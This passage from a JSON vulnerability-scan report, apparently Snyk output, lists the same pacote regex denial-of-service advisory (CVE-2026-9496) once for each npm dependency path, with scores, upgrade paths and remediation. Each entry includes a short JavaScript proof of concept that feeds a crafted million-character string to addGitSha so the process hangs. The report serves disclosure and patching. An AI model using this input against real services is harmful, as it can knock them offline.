of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service 